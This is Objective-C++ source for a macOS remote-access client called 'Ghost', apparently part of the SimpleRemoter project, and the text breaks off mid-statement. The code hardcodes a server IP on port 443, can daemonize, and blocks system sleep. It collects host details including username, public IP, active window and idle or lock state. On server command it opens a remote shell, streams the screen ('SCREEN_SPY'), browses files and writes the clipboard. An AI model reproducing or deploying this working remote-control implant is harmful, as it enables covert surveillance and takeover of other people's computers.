#import #import #import #import #import #import #import #import #import #import #import #import #import #import #import #import #import #import "../client/IOCPClient.h" #define XXH_INLINE_ALL #include "../common/xxhash.h" #import "Permissions.h" #import "ScreenHandler.h" #import "InputHandler.h" #import "SystemManager.h" #import "../common/PTYHandler.h" #import "../common/FileManager.h" #import "../common/FileTransferV2.h" #import "../common/logger.h" #import "ClipboardHandler.h" // Global state static std::atomic g_running(true); static std::atomic g_needResendLogin(false); // 分组变更后需要重发登录信息 // Client ID (calculated from system info, used by ScreenHandler) uint64_t g_myClientID = 0; // 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验 // 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应让进程退出。 // 校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。 // g_settingsVerified 跨线程访问 → 用 atomic 保证可见性。 std::string g_loginMsg; time_t g_loginTime = 0; std::atomic g_settingsVerified{false}; // 远程地址:当前为写死状态,如需调试,请按实际情况修改 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS }; State g_bExit = S_CLIENT_NORMAL; // ============== Configuration File Functions ============== // Config path: ~/.config/ghost/config.conf (same as Linux) // Format: key=value (one per line) static std::string g_configDir; static std::string g_configPath; static std::map g_configData; // Initialize config paths static void initConfigPaths() { if (!g_configDir.empty()) return; // Already initialized const char* home = getenv("HOME"); if (!home) { struct passwd* pw = getpwuid(getuid()); if (pw) home = pw->pw_dir; } if (!home) home = "/tmp"; g_configDir = std::string(home) + "/.config/ghost"; g_configPath = g_configDir + "/config.conf"; } // Recursively create directory static void mkdirRecursive(const std::string& path) { size_t pos = 0; while ((pos = path.find('/', pos + 1)) != std::string::npos) { mkdir(path.substr(0, pos).c_str(), 0755); } mkdir(path.c_str(), 0755); } // Load all config from file static void loadConfig() { initConfigPaths(); g_configData.clear(); std::ifstream file(g_configPath); if (!file.is_open()) return; std::string line; while (std::getline(file, line)) { size_t eq = line.find('='); if (eq != std::string::npos) { g_configData[line.substr(0, eq)] = line.substr(eq + 1); } } } // Save all config to file static void saveConfig() { initConfigPaths(); mkdirRecursive(g_configDir); std::ofstream file(g_configPath, std::ios::trunc); if (!file.is_open()) { NSLog(@"Failed to save config to %s", g_configPath.c_str()); return; } for (const auto& kv : g_configData) { file << kv.first << "=" << kv.second << "\n"; } NSLog(@"Config saved to %s", g_configPath.c_str()); } // Get config string value static std::string getConfigStr(const std::string& key, const std::string& def = "") { auto it = g_configData.find(key); return it != g_configData.end() ? it->second : def; } // Set config string value static void setConfigStr(const std::string& key, const std::string& value) { g_configData[key] = value; saveConfig(); } // Save group name to config file static void saveGroupName(const std::string& groupName) { setConfigStr("group_name", groupName); NSLog(@"Group name saved: %s", groupName.c_str()); } // Load group name from config file static std::string loadGroupName() { return getConfigStr("group_name"); } // ============== System Information Functions ============== // Get macOS version string (e.g., "macOS 14.0 Sonoma") static std::string getMacOSVersion() { NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion]; NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld", (long)version.majorVersion, (long)version.minorVersion, (long)version.patchVersion]; return std::string([versionString UTF8String]); } // Get hostname static std::string getHostname() { char hostname[256] = {}; gethostname(hostname, sizeof(hostname)); return std::string(hostname); } // Get CPU model and frequency static std::string getCPUInfo() { char buf[256] = {}; size_t size = sizeof(buf); if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) { return std::string(buf); } return "Unknown CPU"; } // Get CPU frequency in MHz static int getCPUFrequencyMHz() { uint64_t freq = 0; size_t size = sizeof(freq); if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) { return (int)(freq / 1000000); } return 0; } // Get number of CPU cores static int getCPUCores() { int cores = 0; size_t size = sizeof(cores); if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) { return cores; } return 1; } // Get total physical memory in GB static double getMemoryGB() { int64_t memSize = 0; size_t size = sizeof(memSize); if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) { return (double)memSize / (1024.0 * 1024.0 * 1024.0); } return 0; } // Get current username static std::string getUsername() { struct passwd* pw = getpwuid(getuid()); if (pw && pw->pw_name) { return std::string(pw->pw_name); } const char* user = getenv("USER"); return user ? std::string(user) : "unknown"; } // 读取 IOKit 维护的 IOPlatformUUID(与 Windows MachineGuid 等价) // 这是主板/系统级 UUID,由 IOPlatformExpertDevice 服务提供,重装系统通常不变。 // 对应:Windows HKLM\Software\Microsoft\Cryptography\MachineGuid // Linux /etc/machine-id static std::string getMachineId() { std::string result; io_service_t platformExpert = IOServiceGetMatchingService( kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice")); if (platformExpert != IO_OBJECT_NULL) { CFTypeRef uuidProperty = IORegistryEntryCreateCFProperty( platformExpert, CFSTR(kIOPlatformUUIDKey), kCFAllocatorDefault, 0); if (uuidProperty != nullptr) { if (CFGetTypeID(uuidProperty) == CFStringGetTypeID()) { CFStringRef uuidStr = (CFStringRef)uuidProperty; char buf[64] = {}; if (CFStringGetCString(uuidStr, buf, sizeof(buf), kCFStringEncodingUTF8)) { result = buf; } } CFRelease(uuidProperty); } IOObjectRelease(platformExpert); } return result; } // 路径归一化(macOS 版):解析符号链接 + 转小写 // realpath 把 /Applications/foo/../bar 之类折回规范形式; // 小写化保持与 Windows/Linux 跨端一致。macOS HFS+/APFS 默认大小写不敏感, // 转小写不改变文件标识、但避免路径串大小写差异引起 ID 不同。 static std::string normalizeExePathLower(const std::string& path) { char resolved[PATH_MAX] = {}; std::string out; if (realpath(path.c_str(), resolved) != nullptr) { out = resolved; } else { out = path; // 解析失败:用原值 } for (auto& c : out) { if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a'; } return out; } // Get screen resolution static std::string getScreenResolution() { NSScreen* mainScreen = [NSScreen mainScreen]; if (mainScreen) { NSRect frame = [mainScreen frame]; return [NSString stringWithFormat:@"1:%dx%d", (int)frame.size.width, (int)frame.size.height].UTF8String; } return "0:0x0"; } // Get executable path static std::string getExecutablePath() { char path[PATH_MAX]; uint32_t size = sizeof(path); if (_NSGetExecutablePath(path, &size) == 0) { return std::string(path); } return ""; } // Get current time string (Beijing time, UTC+8) static std::string getTimeString() { NSDateFormatter* formatter = [[NSDateFormatter alloc] init]; [formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"]; [formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]]; NSString* dateString = [formatter stringFromDate:[NSDate date]]; return std::string([dateString UTF8String]); } // Get user idle time in seconds (time since last keyboard/mouse input) static double getUserIdleTime() { // CGEventSourceSecondsSinceLastEventType returns seconds since last event // kCGEventSourceStateCombinedSessionState includes all input sources CFTimeInterval idleTime = CGEventSourceSecondsSinceLastEventType( kCGEventSourceStateCombinedSessionState, kCGAnyInputEventType ); // Defensive: ensure non-negative (edge case protection) return idleTime > 0 ? idleTime : 0; } // Check if screen is locked static bool isScreenLocked() { // Method 1: Check CGSession dictionary for screen lock status CFDictionaryRef sessionDict = CGSessionCopyCurrentDictionary(); if (sessionDict) { // Check for "CGSSessionScreenIsLocked" key CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue( sessionDict, CFSTR("CGSSessionScreenIsLocked")); if (screenLocked && CFBooleanGetValue(screenLocked)) { CFRelease(sessionDict); return true; } CFRelease(sessionDict); } // Method 2: Check if loginwindow is frontmost (screen saver / lock screen) NSRunningApplication* frontApp = [[NSWorkspace sharedWorkspace] frontmostApplication]; if (frontApp) { NSString* bundleId = [frontApp bundleIdentifier]; if ([bundleId isEqualToString:@"com.apple.loginwindow"] || [bundleId isEqualToString:@"com.apple.ScreenSaver.Engine"]) { return true; } } return false; } // Format time as HH:MM:SS with prefix static std::string formatStatusTime(const char* prefix, double seconds) { int totalSecs = (int)seconds; int hours = totalSecs / 3600; int mins = (totalSecs % 3600) / 60; int secs = totalSecs % 60; char buffer[64]; snprintf(buffer, sizeof(buffer), "%s: %02d:%02d:%02d", prefix, hours, mins, secs); return std::string(buffer); } // Get active application name or idle/locked status (works for background processes) static std::string getActiveApp() { double idleTime = getUserIdleTime(); // Check if screen is locked first if (isScreenLocked()) { return formatStatusTime("Locked", idleTime); } // Check user idle time (matches Windows/Linux: 6 seconds threshold) // If idle for more than 6 seconds, report inactive status if (idleTime >= 6.0) { return formatStatusTime("Inactive", idleTime); } // Use CGWindowListCopyWindowInfo to get the frontmost window // This works reliably even when running as a background/nohup process CFArrayRef windowList = CGWindowListCopyWindowInfo( kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements, kCGNullWindowID ); if (windowList) { CFIndex count = CFArrayGetCount(windowList); for (CFIndex i = 0; i < count; i++) { CFDictionaryRef window = (CFDictionaryRef)CFArrayGetValueAtIndex(windowList, i); // Get window layer - layer 0 is normal windows CFNumberRef layerRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowLayer); int layer = 0; if (layerRef) { CFNumberGetValue(layerRef, kCFNumberIntType, &layer); } // Skip non-normal windows (menu bar, dock, etc.) if (layer != 0) continue; // Get owner name (application name) CFStringRef ownerName = (CFStringRef)CFDictionaryGetValue(window, kCGWindowOwnerName); if (ownerName) { char buffer[256] = {}; if (CFStringGetCString(ownerName, buffer, sizeof(buffer), kCFStringEncodingUTF8)) { CFRelease(windowList); return std::string(buffer); } } } CFRelease(windowList); } // Fallback to NSWorkspace (may not work for background processes) NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication]; if (app) { NSString* name = [app localizedName]; if (name) { return std::string([name UTF8String]); } } return ""; } // ============== Check if camera exists ============== static bool hasCameraDevice() { // Most MacBooks have built-in FaceTime camera // Check model identifier to determine if it's a MacBook char model[256] = {}; size_t size = sizeof(model); if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) { std::string modelStr(model); // MacBooks (Air/Pro) always have cameras if (modelStr.find("MacBook") != std::string::npos) { return true; } // iMac also has camera if (modelStr.find("iMac") != std::string::npos) { return true; } } // Mac Mini and Mac Pro typically don't have built-in cameras return false; } // ============== Public IP ============== // Execute command and return output static std::string execCmd(const std::string& cmd) { std::unique_ptr pipe(popen(cmd.c_str(), "r"), pclose); if (!pipe) return ""; char buf[4096]; std::string result; while (fgets(buf, sizeof(buf), pipe.get())) { result += buf; } // Trim trailing whitespace while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' ')) result.pop_back(); return result; } // HTTP GET using curl (macOS has curl built-in) static std::string httpGet(const std::string& url, int timeoutSec = 5) { std::string t = std::to_string(timeoutSec); return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null"); } // Get public IP (try multiple sources) static std::string getPublicIP() { static const char* urls[] = { "https://checkip.amazonaws.com", "https://api.ipify.org", "https://ipinfo.io/ip", "https://icanhazip.com", "https://ifconfig.me/ip", }; for (auto& url : urls) { std::string ip = httpGet(url, 3); // Validate: non-empty, contains dot, reasonable length if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) { NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url); return ip; } } NSLog(@"getPublicIP: all sources failed"); return ""; } // ============== Install Time (persistent storage) ============== static std::string getInstallTime() { @autoreleasepool { NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults]; NSString* installTime = [defaults stringForKey:@"ghost_install_time"]; if (installTime == nil || [installTime length] == 0) { // First run - record current time as install time std::string currentTime = getTimeString(); installTime = [NSString stringWithUTF8String:currentTime.c_str()]; [defaults setObject:installTime forKey:@"ghost_install_time"]; [defaults synchronize]; NSLog(@"First run - recorded install time: %@", installTime); } return std::string([installTime UTF8String]); } } // ============== Fill LOGIN_INFOR ============== static void fillLoginInfo(LOGIN_INFOR& info) { // Token is set in constructor info.bToken = TOKEN_LOGIN; // OS Version std::string osVer = getMacOSVersion(); strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1); // CPU MHz info.dwCPUMHz = getCPUFrequencyMHz(); // PC Name (hostname) - with group name if set std::string hostname = getHostname(); std::string groupName = loadGroupName(); if (!groupName.empty()) { // Also update g_SETTINGS for consistency strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0'; // Format: "hostname/groupname" std::string pcNameWithGroup = hostname + "/" + groupName; strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1); } else if (g_SETTINGS.szGroupName[0] != 0) { // Use group from g_SETTINGS (set at build time) groupName = g_SETTINGS.szGroupName; std::string pcNameWithGroup = hostname + "/" + groupName; strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1); } else { strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1); } info.szPCName[sizeof(info.szPCName) - 1] = '\0'; // Webcam info.bWebCamIsExist = hasCameraDevice() ? 1 : 0; // Start time (current session start) std::string startTime = getTimeString(); strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1); // Reserved fields (pipe-separated, must match Windows client order) // Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID // 1. Client type (use GetClientType for consistency with Windows client) info.AddReserved(GetClientType(CLIENT_TYPE_MACOS)); // 2. System bits (OS bits, always 64 on modern macOS) info.AddReserved(64); // 3. CPU cores info.AddReserved(getCPUCores()); // 4. Memory (GB) info.AddReserved(getMemoryGB()); // 5. File path (executable path) std::string exePath = getExecutablePath(); info.AddReserved(exePath.c_str()); // 6. Placeholder info.AddReserved("?"); // 7. Install time (first run time, persistent) std::string installTime = getInstallTime(); info.AddReserved(installTime.c_str()); // 8. Active window / Start time (initial value is start time, updated via heartbeat) info.AddReserved(startTime.c_str()); // 9. Program bits (always 64 on modern macOS) info.AddReserved(64); // 10. Authorization info (placeholder) info.AddReserved(""); // 11. Location (placeholder, could add GeoIP later) info.AddReserved(""); // 12. Public IP std::string pubIP = getPublicIP(); info.AddReserved(pubIP.c_str()); // 13. Version info.AddReserved("1.0.0"); // 14. Current username std::string username = getUsername(); info.AddReserved(username.c_str()); // 15. Is running as root info.AddReserved(getuid() == 0 ? 1 : 0); // 16. Screen resolution (format: count:widthxheight) std::string resolution = getScreenResolution(); info.AddReserved(resolution.c_str()); // 17. Client ID // V2 算法:IOPlatformUUID + 归一化路径 // - 同机同程序路径永远同 ID(不依赖 IP/hostname/os/CPU 漂移) // - IOPlatformUUID 主板级,重装系统通常不变;多机各不相同 // - 读取失败时退化到老算法(pubIP|hostname|os|cpu|path)保兼容 std::string machineId = getMachineId(); if (!machineId.empty()) { std::string normPath = normalizeExePathLower(exePath); std::string idInput = machineId + "|" + normPath; g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0); NSLog(@"ClientID(v2): %llu (machineId=%s, path=%s)", g_myClientID, machineId.c_str(), normPath.c_str()); } else { // 老算法兜底 char cpuStr[32]; snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz); std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" + hostname + "|" + osVer + "|" + cpuStr + "|" + exePath; g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0); NSLog(@"ClientID(v1 fallback): %llu (IOPlatformUUID 读取失败)", g_myClientID); } info.AddReserved(std::to_string(g_myClientID).c_str()); // 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID) g_loginMsg = std::string(info.szStartTime) + "|" + std::to_string(g_myClientID); NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu", osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID); } // ============== Signal Handling ============== static void signalHandler(int sig) { NSLog(@"Received signal %d, shutting down...", sig); g_running = false; g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出 } static void setupSignals() { signal(SIGTERM, signalHandler); signal(SIGINT, signalHandler); signal(SIGHUP, SIG_IGN); signal(SIGPIPE, SIG_IGN); } // 经典 Unix 双 fork 守护进程 static void daemonize() { pid_t pid = fork(); if (pid < 0) exit(1); if (pid > 0) exit(0); // 父进程退出 setsid(); // 新会话,脱离终端 pid = fork(); // 第二次 fork,防止重新获取控制终端 if (pid < 0) exit(1); if (pid > 0) exit(0); // 关闭标准文件描述符,重定向到 /dev/null close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); open("/dev/null", O_RDONLY); // fd 0 = stdin open("/dev/null", O_WRONLY); // fd 1 = stdout open("/dev/null", O_WRONLY); // fd 2 = stderr } // ============== Main Entry Point ============== // RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致) struct RttEstimator { double srtt = 0.0; // 平滑 RTT (秒) double rttvar = 0.0; // RTT 波动 (秒) double rto = 0.0; // 超时时间 (秒) bool initialized = false; void update_from_sample(double rtt_ms) { // 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒 if (rtt_ms <= 0 || rtt_ms > 30000) return; const double alpha = 1.0 / 8; const double beta = 1.0 / 4; double rtt = rtt_ms / 1000.0; if (!initialized) { srtt = rtt; rttvar = rtt / 2.0; rto = srtt + 4.0 * rttvar; initialized = true; } else { rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt); srtt = (1.0 - alpha) * srtt + alpha * rtt; rto = srtt + 4.0 * rttvar; } // 限制最小 RTO(RFC 6298 推荐 1 秒) if (rto < 1.0) rto = 1.0; } }; RttEstimator g_rttEstimator; int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整 void* ShellworkingThread(void* param) { try { std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr); // 子连接:开启 auth。macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。 ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new PTYHandler(ClientObject.get())); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); BYTE bToken = TOKEN_TERMINAL_START; ClientObject->Send2Server((char*)&bToken, 1); NSLog(@">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); // 清除回调,防止重连线程访问已销毁的 handler ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } NSLog(@">>> Leave ShellworkingThread [%p]", clientAddr); } catch (const std::exception& e) { NSLog(@"*** ShellworkingThread exception: %s ***", e.what()); } return NULL; } void* ScreenworkingThread(void* param) { try { std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr); // 子连接:开启 auth。macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。 ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new ScreenHandler(ClientObject.get())); if (!handler->init()) { Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n"); return NULL; } ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); // 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致) handler->sendBitmapInfo(); Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); // 清除回调,防止重连线程访问已销毁的 handler ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr); } catch (const std::exception& e) { Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what()); } return NULL; } void* FileManagerworkingThread(void* param) { try { std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); Mprintf(">>> Enter FileManagerworkingThread [%p]\n", clientAddr); // 子连接:开启 auth。macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。 ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new FileManager(ClientObject.get())); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); Mprintf(">>> FileManagerworkingThread [%p] initialized\n", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); // 清除回调,防止重连线程访问已销毁的 handler ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } Mprintf(">>> Leave FileManagerworkingThread [%p]\n", clientAddr); } catch (const std::exception& e) { Mprintf("*** FileManagerworkingThread exception: %s ***\n", e.what()); } return NULL; } int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { if (szBuffer == nullptr || ulLength == 0) return TRUE; // 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。 // 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS, // 也防止它发 COMMAND_BYE 之类把客户端进程关掉。 if (!g_settingsVerified.load(std::memory_order_acquire) && szBuffer[0] != CMD_MASTERSETTING) { return TRUE; } if (szBuffer[0] == COMMAND_BYE) { Mprintf("*** [%p] Received Bye-Bye command ***\n", user); g_bExit = S_CLIENT_EXIT; g_running = false; // Stop main loop to prevent reconnection } else if (szBuffer[0] == COMMAND_SHELL) { std::thread(ShellworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SHELL' command ***\n", user); } else if (szBuffer[0] == COMMAND_SCREEN_SPY) { std::thread(ScreenworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user); } else if (szBuffer[0] == COMMAND_SYSTEM) { Mprintf("** [%p] Received 'SYSTEM' command ***\n", user); } else if (szBuffer[0] == COMMAND_LIST_DRIVE) { std::thread(FileManagerworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user); } else if (szBuffer[0] == COMMAND_C2C_PREPARE) { // C2C 准备接收通知 FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr); Mprintf("** [%p] C2C Prepare received ***\n", user); } else if (szBuffer[0] == COMMAND_C2C_TEXT) { // C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N] if (ulLength >= 13) { uint32_t textLen; memcpy(&textLen, szBuffer + 9, 4); if (ulLength >= 13 + textLen && textLen > 0) { if (!ClipboardHandler::IsAvailable()) { Mprintf("** [%p] C2C Text: clipboard unavailable ***\n", user); } else { std::string utf8Text((const char*)szBuffer + 13, textLen); if (ClipboardHandler::SetText(utf8Text)) { Mprintf("** [%p] C2C Text received: %u bytes ***\n", user, textLen); } } } } } else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) { // V2 文件接收 int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID); if (result != 0) { Mprintf("** [%p] V2 File recv error: %d ***\n", user, result); } } else if (szBuffer[0] == CMD_HEARTBEAT_ACK) { if (ulLength >= 1 + sizeof(HeartbeatACK)) { HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1); uint64_t now = GetUnixMs(); double rtt_ms = (double)(now - ack->Time); g_rttEstimator.update_from_sample(rtt_ms); // Log at most once per minute static uint64_t lastLogTime = 0; if (now - lastLogTime >= 60000) { lastLogTime = now; Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n", user, rtt_ms, g_rttEstimator.srtt * 1000); } } } else if (szBuffer[0] == CMD_MASTERSETTING) { int settingSize = ulLength - 1; // 包不完整 → 不立即退出,让心跳循环 30s 超时断开重连 if (settingSize < (int)sizeof(MasterSettings)) { return TRUE; } MasterSettings settings = {}; memcpy(&settings, szBuffer + 1, sizeof(MasterSettings)); // 签名校验失败 → 同上,让超时兜底+重连处理 extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature); std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature)); if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) { return TRUE; } g_settingsVerified.store(true, std::memory_order_release); if (settings.ReportInterval > 0) g_heartbeatInterval = settings.ReportInterval; Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); } else if (szBuffer[0] == COMMAND_NEXT) { Mprintf("** [%p] Received 'NEXT' command ***\n", user); } else if (szBuffer[0] == CMD_SET_GROUP) { // Extract group name from message (starts at byte 1) std::string groupName; if (ulLength > 1) { groupName = std::string((char*)szBuffer + 1, ulLength - 1); // Remove trailing nulls size_t pos = groupName.find('\0'); if (pos != std::string::npos) { groupName = groupName.substr(0, pos); } } // Save to config file saveGroupName(groupName); // Update global settings memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName)); strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); // 标记需要重发登录信息(让服务端更新分组显示) g_needResendLogin.store(true); Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str()); } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); } return TRUE; } // 用法: ./ghost [-d] // -d 后台守护进程模式 int main(int argc, const char* argv[]) { // 解析 -d 参数 bool daemon_mode = (argc > 1 && strcmp(argv[1], "-d") == 0); // 守护进程模式:在进入 autoreleasepool 之前 fork if (daemon_mode) { daemonize(); } @autoreleasepool { NSLog(@"=== macOS Ghost Client%s ===", daemon_mode ? " (daemon)" : ""); // ============== Power Management: Keep System Awake ============== // 1. Disable App Nap - prevent macOS from suspending this process id powerActivity = [[NSProcessInfo processInfo] beginActivityWithOptions:(NSActivityUserInitiated | NSActivityIdleSystemSleepDisabled) reason:@"Remote control client must maintain persistent connection"]; NSLog(@"App Nap disabled, activity token acquired"); // 2. Prevent system idle sleep using IOKit power assertion IOPMAssertionID sleepAssertionID = 0; IOReturn result = IOPMAssertionCreateWithName( kIOPMAssertionTypeNoIdleSleep, kIOPMAssertionLevelOn, CFSTR("SimpleRemoter macOS client - maintaining remote connection"), &sleepAssertionID ); if (result == kIOReturnSuccess) { NSLog(@"Power assertion created: system idle sleep disabled (ID: %u)", sleepAssertionID); } else { NSLog(@"Warning: Failed to create power assertion (error: 0x%x)", result); } // 3. Display sleep: managed by ScreenHandler - only prevents display sleep // when remote desktop is actively connected (saves power when idle) // Setup signal handlers setupSignals(); // Load configuration file (~/.config/ghost/config.conf) loadConfig(); NSLog(@"Config loaded from %s", g_configPath.c_str()); // Check permissions NSLog(@"Checking permissions..."); bool hasScreenCapture = Permissions::checkScreenCapture(); if (hasScreenCapture) { NSLog(@"Screen capture permission: OK"); } else { NSLog(@"Screen capture permission not granted."); NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording"); // Request permission (triggers system dialog on first run) Permissions::requestScreenCapture(); // Only open settings if this appears to be a re-run without permission // Check again after request (dialog may have been shown) if (!Permissions::checkScreenCapture()) { Permissions::openScreenCaptureSettings(); } } bool hasAccessibility = Permissions::checkAccessibility(); if (hasAccessibility) { NSLog(@"Accessibility permission: OK"); } else { NSLog(@"Accessibility permission not granted."); NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility"); Permissions::requestAccessibility(); } // FDA check is unreliable (no official API), just log a warning if (!Permissions::checkFullDiskAccess()) { NSLog(@"Full Disk Access: not detected (may be false negative)."); NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access"); // Don't auto-open settings since detection is unreliable } else { NSLog(@"Full Disk Access: OK"); } // Create client auto ClientObject = std::make_unique(g_bExit, false); ClientObject->setManagerCallBack(NULL, DataProcess, NULL); // Main event loop NSLog(@"Starting main loop..."); LOGIN_INFOR logInfo; fillLoginInfo(logInfo); while (g_running) { clock_t c = clock(); if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Sleep(5000); continue; } // 进入新连接,重置服务端身份校验状态 g_loginTime = time(nullptr); g_settingsVerified.store(false, std::memory_order_release); ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) { // 检查是否需要重发登录信息(分组变更后) if (g_needResendLogin.exchange(false)) { fillLoginInfo(logInfo); ClientObject->SendLoginInfo(logInfo); Mprintf(">> Resent login info after group change\n"); } // 等待心跳间隔(每秒检查一次退出条件,保证及时响应) int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30; for (int i = 0; i < interval; ++i) { if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) break; Sleep(1000); } if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) break; // 登录后 30 秒内必须收到并通过 MasterSettings 校验。失败 → 显式断开本连接 // 让外层重连。永不退出进程(客户端是常驻服务,服务端不可达不应该让其自杀)。 if (!g_settingsVerified.load(std::memory_order_acquire) && g_loginTime > 0 && time(nullptr) - g_loginTime 